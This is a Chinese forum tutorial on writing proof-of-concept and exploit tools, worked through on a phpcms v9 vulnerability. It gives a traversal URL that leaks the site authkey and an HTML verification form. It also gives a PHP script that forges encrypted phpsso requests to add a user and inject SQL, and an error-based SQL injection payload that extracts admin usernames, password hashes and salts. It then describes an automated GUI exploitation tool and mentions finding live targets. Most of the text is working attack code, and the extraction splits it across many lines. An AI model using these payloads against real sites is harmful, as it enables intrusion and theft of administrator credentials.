簡單的POC EXP
編寫
(上)
作者BY Greekn
今天主要講的
是關於web
方面的 poc
編寫
關於web
安全
個人理解的話
一個就是攻擊
另一個就是漏洞挖掘
了
防御的話
看自己的經驗了
攻擊的話
不管自己黑的漫天飛
也是利用別人的
工具
或者漏洞罷了
這樣
只會攻擊的話
我們是學不會指哪打哪的
所以我們就需要掌握
漏洞挖掘了
漏洞挖掘的流程
應該
是這樣的
通用應用程序(挖掘)>
發現漏洞(調試)>POC/EXP
(編寫)
所以 POC/EXP
也是
在漏洞挖掘后
的最后一個環節
自己挖到了 oday
零貝
可以寫成
批量
工具
加大數據
這樣
的話是不是專業一點呢
編寫測試工具https://bbs.ichunqiu.com/thread-23266-1-1.html?from=43
漏洞去年爆的phpcms v9 authkey
注入漏洞
環境的話
我是百度下載的 phpcms v9 5.8
的網站源碼
越高的版本
會修補這個漏洞的
所以百度下載的
我們先來查看一下
payload
[AppleScript]
純文本查看 復制代碼
1
|
api.php?op
=
get_menu
&
act
=
ajax_getlist
&
callback
=
aaaaa
&
parentid
=
0
&
key
=
authkey
&
cachefile
=
..\..\..\phpsso_server\caches\caches_admin\caches_data\applist
&
path
=
admin
|
這個 payload
是爆 phpcms key
的 ta
可以幫我們來驗證一下 phpcms
網站是否有這個漏洞
我們先簡單
的
利用 html
寫個
驗證
腳本
Html poc
驗證代碼
[AppleScript]
純文本查看 復制代碼
1
2
3
|
<
form action
=
"http://127.0.0.1/2/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin"
method
=
"post"
>
<
input type
=
"submit"
value
=
"爆菊花"
/
>
<
/
form
>
|
這個payload 是GET 的方式 訪問的 我們無需提交數據
<ignore_js_op>
我們點擊 submit
表單
<ignore_js_op>

我們訪問了這個網站
驗證了這個網站是存在漏洞的
關於 html
編寫
poc
方式多種多樣主要 看
payload
我們根據payload
來編寫 腳本
or
工具
不過
這樣的話
還是非常麻煩的
我們還是
去寫
一款
可視化的
利用工具吧
從
驗證
漏洞
然后
到
利用漏洞
這樣才能達到我們的目的對吧
補充一下
關於POC
與
EXP
的概念
I春秋論壇找的
通常 EXP OR POC
都是可以執行的的漏洞利用腳本 或者程序
區別主要在於是否惡意
Poc
是
proof of concept
的簡稱 翻譯過來就是 (漏洞驗證)
Exp
是
exploit
的簡稱 翻譯過來就是 (漏洞利用)
搞清楚概念就行了
下面我們
寫的是exp
利用工具
開發環境
編程語言 >
易語言
利用模塊 >
精易模塊
函數()的話
自己看代碼了
我們寫簡單看一下注入的腳本
這段是php
寫的代碼
[AppleScript]
純文本查看 復制代碼
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
|
<
?php
#error_reporting(0);
$
url
=
$_GET['
url
'];
$
key
=
$_GET['
key
'];
/
/
$host
=
'網站';
/
/
$auth_key
=
'
key
';
/
/
$
string
=
"action=member_delete&uids="
.$_GET['
id
'];
/
/
uids注入點
$auth_key
=
"$key"
;
$
string
=
"action=member_delete&uids="
.$_GET['
id
'];
/
/
uids注入點
$strings
=
"action=member_add&uid=88888&random=333333&username=test123456&password=e445061346e44cc38d9f985836b9eac6&email=ffff@qq.com®ip=8.8.8.8"
;
$ecode
=
sys_auth
(
$strings
,
'ENCODE'
,
$auth_key
)
;
$
url
=
$host.
"/api.php?op=phpsso&code="
.$ecode;
$resp
=
file_get_contents
(
$
url
)
;
#echo $resp;
$ecode
=
sys_auth
(
$
string
,
'ENCODE'
,
$auth_key
)
;
$
url
=
$host.
"/api.php?op=phpsso&code="
.$ecode;
#echo $url;
$resp
=
file_get_contents
(
$
url
)
;
echo $resp;
$ecode
=
sys_auth
2
(
$strings
,
'ENCODE'
,
$auth_key
)
;
$
url
=
$host.
"/api.php?op=phpsso&code="
.$ecode;
$resp
=
file_get_contents
(
$
url
)
;
#echo $resp;
$ecode
=
sys_auth
2
(
$
string
,
'ENCODE'
,
$auth_key
)
;
$
url
=
$host.
"/api.php?op=phpsso&code="
.$ecode;
$resp
=
file_get_contents
(
$
url
)
;
echo $resp;
$ecode
=
sys_auth
3
(
$strings
,
'ENCODE'
,
$auth_key
)
;
$
url
=
$host.
"/api.php?op=phpsso&code="
.$ecode;
$resp
=
file_get_contents
(
$
url
)
;
#echo $resp;
$ecode
=
sys_auth
3
(
$
string
,
'ENCODE'
,
$auth_key
)
;
$
url
=
$host.
"/api.php?op=phpsso&code="
.$ecode;
$resp
=
file_get_contents
(
$
url
)
;
echo $resp;
function sys_auth
(
$
string
,
$operation
=
'ENCODE'
,
$
key
=
''
,
$expiry
=
0
)
{
$key_length
=
4
;
$
key
=
md
5
(
$
key
!
=
'' ? $
key
:
pc_base
:
:
load_config
(
'system'
,
'auth_key'
)
)
;
$fixedkey
=
md
5
(
$
key
)
;
$egiskeys
=
md
5
(
substr
(
$fixedkey
,
16
,
16
)
)
;
$runtokey
=
$key_length ?
(
$operation
=
=
'ENCODE' ? substr
(
md
5
(
microtime
(
true
)
)
,
-
$key_length
)
:
substr
(
$
string
,
0
,
$key_length
)
)
:
'';
$keys
=
md
5
(
substr
(
$runtokey
,
0
,
16
)
. substr
(
$fixedkey
,
0
,
16
)
. substr
(
$runtokey
,
16
)
. substr
(
$fixedkey
,
16
)
)
;
$
string
=
$operation
=
=
'ENCODE' ? sprintf
(
'%
010
d'
,
$expiry ? $expiry
+
time
(
)
:
0
)
.substr
(
md
5
(
$
string
.$egiskeys
)
,
0
,
16
)
. $
string
:
base
64
_decode
(
strtr
(
substr
(
$
string
,
$key_length
)
,
'
-
_'
,
'
+
/
'
)
)
;
if
(
$operation
=
=
'ENCODE'
)
{
$
string
.
=
substr
(
md
5
(
microtime
(
true
)
)
,
-4
)
;
}
if
(
function_exists
(
'mcrypt_encrypt'
)
=
=
true
)
{
$
result
=
sys_auth_ex
(
$
string
,
$operation
,
$fixedkey
)
;
}
else
{
$i
=
0
; $
result
=
'';
$string_length
=
strlen
(
$
string
)
;
for
(
$i
=
0
; $i
<
$string_length; $i
+
+
)
{
$
result
.
=
chr
(
ord
(
$
string
{
$i
}
)
^
ord
(
$keys
{
$i %
32
}
)
)
;
}
}
if
(
$operation
=
=
'DECODE'
)
{
$
result
=
substr
(
$
result
,
0
,
-4
)
;
}
if
(
$operation
=
=
'ENCODE'
)
{
return
$runtokey . rtrim
(
strtr
(
base
64
_encode
(
$
result
)
,
'
+
/
'
,
'
-
_'
)
,
'
=
'
)
;
}
else
{
if
(
(
substr
(
$
result
,
0
,
10
)
=
=
0
|| substr
(
$
result
,
0
,
10
)
-
time
(
)
>
0
)
&
&
substr
(
$
result
,
10
,
16
)
=
=
substr
(
md
5
(
substr
(
$
result
,
26
)
.$egiskeys
)
,
0
,
16
)
)
{
return
substr
(
$
result
,
26
)
;
}
else
{
return
'';
}
}
}
function sys_auth_ex
(
$
string
,
$operation
=
'ENCODE'
,
$
key
)
{
$encrypted_data
=
""
;
$td
=
mcrypt_module_open
(
'rijndael
-256
'
,
''
,
'ecb'
,
''
)
;
$iv
=
mcrypt_create_iv
(
mcrypt_enc_get_iv_size
(
$td
)
,
MCRYPT_RAND
)
;
$
key
=
substr
(
$
key
,
0
,
mcrypt_enc_get_key_size
(
$td
)
)
;
mcrypt_generic_init
(
$td
,
$
key
,
$iv
)
;
if
(
$operation
=
=
'ENCODE'
)
{
$encrypted_data
=
mcrypt_generic
(
$td
,
$
string
)
;
}
else
{
$encrypted_data
=
rtrim
(
mdecrypt_generic
(
$td
,
$
string
)
)
;
}
mcrypt_generic_deinit
(
$td
)
;
mcrypt_module_close
(
$td
)
;
return
$encrypted_data;
}
function sys_auth
2
(
$
string
,
$operation
=
'ENCODE'
,
$
key
=
''
,
$expiry
=
0
)
{
$ckey_length
=
4
;
$
key
=
md
5
(
$
key
!
=
'' ? $
key
:
$this
-
>
ps_auth_key
)
;
$keya
=
md
5
(
substr
(
$
key
,
0
,
16
)
)
;
$keyb
=
md
5
(
substr
(
$
key
,
16
,
16
)
)
;
$keyc
=
$ckey_length ?
(
$operation
=
=
'DECODE' ? substr
(
$
string
,
0
,
$ckey_length
)
:
substr
(
md
5
(
microtime
(
)
)
,
-
$ckey_length
)
)
:
'';
$cryptkey
=
$keya.md
5
(
$keya.$keyc
)
;
$key_length
=
strlen
(
$cryptkey
)
;
$
string
=
$operation
=
=
'DECODE' ? base
64
_decode
(
strtr
(
substr
(
$
string
,
$ckey_length
)
,
'
-
_'
,
'
+
/
'
)
)
:
sprintf
(
'%
010
d'
,
$expiry ? $expiry
+
time
(
)
:
0
)
.substr
(
md
5
(
$
string
.$keyb
)
,
0
,
16
)
.$
string
;
$string_length
=
strlen
(
$
string
)
;
$
result
=
'';
$box
=
range
(
0
,
255
)
;
$rndkey
=
array
(
)
;
for
(
$i
=
0
; $i
<
=
255
; $i
+
+
)
{
$rndkey[$i]
=
ord
(
$cryptkey[$i % $key_length]
)
;
}
for
(
$j
=
$i
=
0
; $i
<
256
; $i
+
+
)
{
$j
=
(
$j
+
$box[$i]
+
$rndkey[$i]
)
%
256
;
$tmp
=
$box[$i];
$box[$i]
=
$box[$j];
$box[$j]
=
$tmp;
}
for
(
$a
=
$j
=
$i
=
0
; $i
<
$string_length; $i
+
+
)
{
$a
=
(
$a
+
1
)
%
256
;
$j
=
(
$j
+
$box[$a]
)
%
256
;
$tmp
=
$box[$a];
$box[$a]
=
$box[$j];
$box[$j]
=
$tmp;
$
result
.
=
chr
(
ord
(
$
string
[$i]
)
^
(
$box[
(
$box[$a]
+
$box[$j]
)
%
256
]
)
)
;
}
if
(
$operation
=
=
'DECODE'
)
{
if
(
(
substr
(
$
result
,
0
,
10
)
=
=
0
|| substr
(
$
result
,
0
,
10
)
-
time
(
)
>
0
)
&
&
substr
(
$
result
,
10
,
16
)
=
=
substr
(
md
5
(
substr
(
$
result
,
26
)
.$keyb
)
,
0
,
16
)
)
{
return
substr
(
$
result
,
26
)
;
}
else
{
return
'';
}
}
else
{
return
$keyc.rtrim
(
strtr
(
base
64
_encode
(
$
result
)
,
'
+
/
'
,
'
-
_'
)
,
'
=
'
)
;
}
}
function sys_auth
3
(
$
string
,
$operation
=
'ENCODE'
,
$
key
=
''
,
$expiry
=
0
)
{
$key_length
=
4
;
$
key
=
md
5
(
$
key
)
;
$fixedkey
=
md
5
(
$
key
)
;
$egiskeys
=
md
5
(
substr
(
$fixedkey
,
16
,
16
)
)
;
$runtokey
=
$key_length ?
(
$operation
=
=
'ENCODE' ? substr
(
md
5
(
microtime
(
true
)
)
,
-
$key_length
)
:
substr
(
$
string
,
0
,
$key_length
)
)
:
'';
$keys
=
md
5
(
substr
(
$runtokey
,
0
,
16
)
. substr
(
$fixedkey
,
0
,
16
)
. substr
(
$runtokey
,
16
)
. substr
(
$fixedkey
,
16
)
)
;
$
string
=
$operation
=
=
'ENCODE' ? sprintf
(
'%
010
d'
,
$expiry ? $expiry
+
time
(
)
:
0
)
.substr
(
md
5
(
$
string
.$egiskeys
)
,
0
,
16
)
. $
string
:
base
64
_decode
(
substr
(
$
string
,
$key_length
)
)
;
/
/
10
位密文過期信息
+
16
位明文和密鑰生成的密文驗證信息
+
明文
$i
=
0
; $
result
=
'';
$string_length
=
strlen
(
$
string
)
;
for
(
$i
=
0
; $i
<
$string_length; $i
+
+
)
{
$
result
.
=
chr
(
ord
(
$
string
{
$i
}
)
^
ord
(
$keys
{
$i %
32
}
)
)
;
}
if
(
$operation
=
=
'ENCODE'
)
{
return
$runtokey . str_replace
(
'
=
'
,
''
,
base
64
_encode
(
$
result
)
)
;
}
else
{
if
(
(
substr
(
$
result
,
0
,
10
)
=
=
0
|| substr
(
$
result
,
0
,
10
)
-
time
(
)
>
0
)
&
&
substr
(
$
result
,
10
,
16
)
=
=
substr
(
md
5
(
substr
(
$
result
,
26
)
.$egiskeys
)
,
0
,
16
)
)
{
return
substr
(
$
result
,
26
)
;
}
else
{
return
'';
}
}
}
?
>
|
其中我們要填寫二個參數
一個是獲取的key
和目標站
把ta
在寫到
php
環境 下 執行
然后啟用我們的注入payload
才行
我們看下payload
[AppleScript]
純文本查看 復制代碼
1
|
php?
url
=
url
&
key
=
key
&
id
=
userid
=
1
%
20
and%
20
(
SELECT%
201
%
20
FROM
(
SELECT%
20
count
(
*
)
,
concat
(
(
SELECT
(
SELECT%
20
concat
(
0
x
7
e
,
0
x
27
,
cast
(
(
substring
(
(
select
+
concat
(
0
x
7
e
,
0
x
27
,
username
,
0
x
3
a
,
+
password
,
+
0
x
3
a
,
+
encrypt
,
0
x
27
,
0
x
40
,
0
x
7
e
)
+
FROM
+
`v
9
_admin`
+
WHERE
+
1
+
limit
+
0
,
1
)
,
1
,
62
)
)
%
20
as%
20
char
)
,
0
x
27
,
0
x
7
e
)
)
%
20
FROM%
20
information_schema.tables%
20
limit%
200
,
1
)
,
floor
(
rand
(
0
)
*
2
)
)
x%
20
FROM%
20
information_schema.columns%
20
group%
20
by%
20
x
)
a
)
|
這個直接在 那個注入腳本后面執行注入payload 才能爆出賬戶密碼來
這個
payload 需要填寫二個參數和之前一樣一個是key 和目標站
然后看一下我們
易語言寫的
EXP
利用工具怎么寫吧
<ignore_js_op>
我們寫看一下軟件的界面吧
我的想法是
首先寫驗證漏洞是不是存在
第二個自動會填寫獲取的key
和目標
URL
到環境參數搭建這里
然后就是
自己填寫一下 php
環境的路徑還有生成的文件名是
php
前面的自定義就可以了
然后開始獲取數據這里
自己只要填寫一下local
本地 地址就可以了就是那個
php
環境下的那個生成的文件 填寫文件名和后綴就可以
開始exploit
獲取數據了
我們看一下流程
首先我們輸入目標地址
點擊驗證漏洞
判斷漏洞存在
程序會吧數據回顯的key
自動輸入到環境參數搭建這里
<ignore_js_op>

這樣我們把替換的數據都寫到了 php
環境下了
程序也會自動
把環境參數搭建下的 key
和
URL
輸入到開始獲取數據這里
<ignore_js_op>

我們只要輸入我們的那個生成的那個php的文件名和后綴和本地地址就可以注入出數據了
然后程序大概的流程是這樣的
我會把源代碼
打包好放在下面
如果感興趣的可以看看
<ignore_js_op>

我這樣就不在過多的去寫了
其實也可以添加皮膚
等等
把工具做的好看一點對吧
其實還可以寫的方便一點的就不在浪費時間了
主要的架構我覺得是這樣的
以后還會出
下篇文章的
這篇文章比較簡單
<ignore_js_op>

程序沒有注釋
所以大家可以自己看看
有興趣的
下面是實戰怎么找這個漏洞可以利用的目標
<ignore_js_op>

所以我不在實戰了
實戰也是一樣的利用了
<ignore_js_op>
